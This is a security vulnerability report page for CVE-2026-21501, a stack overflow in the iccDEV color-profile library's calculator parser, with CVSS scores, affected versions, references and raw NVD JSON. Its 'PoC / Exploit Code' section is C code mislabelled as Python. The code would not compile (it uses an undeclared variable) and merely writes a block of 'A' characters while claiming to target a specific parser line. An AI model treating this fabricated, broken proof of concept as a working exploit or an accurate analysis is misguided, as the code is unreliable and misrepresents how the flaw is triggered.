Security Vulnerability Report
中文
CVE-2026-21501 CVSS 5.5 MEDIUM

CVE-2026-21501

Published: 2026-01-07 18:15:54
Last Modified: 2026-01-09 21:33:45

Description

iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of ICC color management profiles. Prior to version 2.3.1.2, iccDEV is vulnerable to stack overflow in the calculator parser. This issue has been patched in version 2.3.1.2.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-21501 PoC - Malicious ICC Profile Generator // This PoC demonstrates the stack overflow in iccDEV calculator parser #include <stdio.h> #include <stdlib.h> #include <string.h> // Simplified ICC Profile structure for demonstration struct IccProfile { char header[128]; char tagTable[256]; char maliciousPayload[2048]; // Overflow payload }; void generate_malicious_profile(const char* output_path) { FILE* fp = fopen(output_path, "wb"); if (!fp) { printf("Failed to create output file\n"); return; } // Initialize header memset(&maliciousPayload, 'A', sizeof(maliciousPayload)); maliciousPayload[sizeof(maliciousPayload) - 1] = '\0'; // Write malicious payload that triggers stack overflow in parser // The payload exploits the calculator parser at IccMpeCalc.cpp:4588 fwrite(&maliciousPayload, sizeof(maliciousPayload), 1, fp); fclose(fp); printf("Malicious ICC profile generated: %s\n", output_path); printf("Payload size: %lu bytes\n", sizeof(maliciousPayload)); } int main(int argc, char* argv[]) { const char* output = "malicious_profile.icc"; if (argc > 1) { output = argv[1]; } printf("=== CVE-2026-21501 PoC ===\n"); printf("Target: iccDEV < 2.3.1.2\n"); printf("Vulnerability: Stack overflow in calculator parser\n"); printf("Location: IccProfLib/IccMpeCalc.cpp:4588\n\n"); generate_malicious_profile(output); printf("\nNote: This PoC is for educational and security research purposes only.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21501", "sourceIdentifier": "[email protected]", "published": "2026-01-07T18:15:54.100", "lastModified": "2026-01-09T21:33:44.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of ICC color management profiles. Prior to version 2.3.1.2, iccDEV is vulnerable to stack overflow in the calculator parser. This issue has been patched in version 2.3.1.2."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color ICC. Antes de la versión 2.3.1.2, iccDEV es vulnerable a desbordamiento de pila en el analizador de la calculadora. Este problema ha sido parcheado en la versión 2.3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/blob/8e71f0a701abcbd554725ba7b70258203e682a61/IccProfLib/IccMpeCalc.cpp#L4588", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/798be59011649a26a529600cc3cd56437634d3d0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/f3056ed99935d479091470127ad16f8be1912bb7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/365", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/413", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-x7hw-h22p-2x4w", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}